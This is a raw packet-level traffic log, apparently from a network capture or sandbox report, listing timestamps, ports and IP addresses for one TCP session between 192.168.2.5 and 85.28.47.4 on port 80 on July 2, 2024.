Jul 2, 2024 04:12:05.901901960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901901960 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.901920080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901927948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.901946068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.901987076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902026892 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902039051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902048111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902062893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902065992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902081013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902093887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902105093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902110100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902131081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902133942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902146101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902154922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902170897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902173042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902188063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902192116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902209997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902219057 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902251959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902264118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902280092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902292013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902307034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902318954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902323008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902333975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902348042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902363062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902363062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902370930 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902386904 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902386904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902403116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902416945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902425051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902431011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902434111 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902450085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902470112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.902532101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.902565956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.976887941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.976907015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.976924896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.976958036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.976979971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.977116108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977127075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977144003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977153063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977161884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.977180958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.977181911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977199078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977212906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977215052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.977224112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.977230072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977243900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977246046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.977266073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977271080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.977283001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977294922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977294922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.977309942 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.977312088 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977325916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.977332115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.977358103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984042883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984080076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984093904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984113932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984138012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984148979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984150887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984172106 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984177113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984194040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984201908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984210014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984217882 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984225035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984236002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984240055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984247923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984263897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984266996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984276056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984285116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984293938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984299898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984309912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984316111 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984328032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984344006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984457016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984517097 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984519005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984528065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984548092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984556913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984559059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984565973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984569073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984591007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984616995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984637976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984653950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984672070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984677076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984687090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984697104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984725952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984735966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984745979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984747887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984765053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984767914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984778881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984788895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984796047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.984802961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984822989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984837055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.984992981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985003948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985021114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985029936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985033035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985042095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985055923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985061884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985073090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985075951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985094070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985100985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985102892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985116005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985131025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985136986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985147953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985152960 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985158920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985166073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985181093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985182047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985197067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985200882 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985214949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985214949 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985229015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985236883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985249043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985259056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985269070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985270977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985287905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985294104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985304117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985312939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985318899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985325098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985338926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985344887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985363007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985383987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985402107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985440016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985441923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985461950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985479116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985501051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985517025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985527039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985544920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985552073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985558987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.985565901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985588074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.985599041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991045952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991055012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991079092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991105080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991113901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991117954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991134882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991146088 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991156101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991159916 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991170883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991183043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991184950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991203070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991204977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991220951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991225004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991247892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991261005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991271973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991297007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991317987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991328001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991353035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991355896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991368055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991379023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991384983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991399050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991406918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991415024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991420031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991435051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991441965 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991457939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991465092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991590023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991600990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991619110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991627932 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991630077 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991656065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991679907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991753101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991763115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991780043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991791964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991790056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991800070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991811991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991816044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991825104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991837025 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991848946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991849899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991859913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991866112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991880894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991882086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991897106 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991898060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991913080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991915941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991926908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991930962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991949081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991950035 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991962910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.991964102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991988897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.991996050 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.992120028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.992130995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.992156029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.992156982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.992168903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.992167950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.992189884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.992191076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.992209911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.992217064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.992218018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.992250919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066618919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066647053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066659927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066673994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066680908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066696882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066709042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066719055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066730022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066739082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066751957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066756010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066771030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066782951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066787004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066793919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066807985 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066811085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066822052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066828012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066842079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066848040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066860914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.066863060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066888094 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.066915989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080164909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080177069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080194950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080252886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080265045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080275059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080293894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080301046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080313921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080328941 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080331087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080352068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080362082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080362082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080375910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080383062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080394030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080404043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080414057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080425024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080425024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080445051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080449104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080460072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080472946 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080495119 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080502033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080682993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080696106 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080715895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080723047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080727100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080739975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080754042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080754042 CEST	49704	80	192.168.2.5	85.28.47.4
